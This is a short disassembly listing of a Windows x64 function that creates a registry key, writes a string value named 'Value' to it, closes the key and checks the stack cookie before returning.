mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov rcx, rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp eax, ebx
jne 0x14000342b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x60]
repne scasw ax, word [rdi]
lea rdx, str.Value
mov r9d, 1
not rcx
xor r8d, r8d
lea eax, [rcx + rcx + 2]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
cmp rcx, rbx
je 0x14000343b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1400034b0
mov rbx, qword [rsp + 0x490]
add rsp, 0x480
pop rdi
ret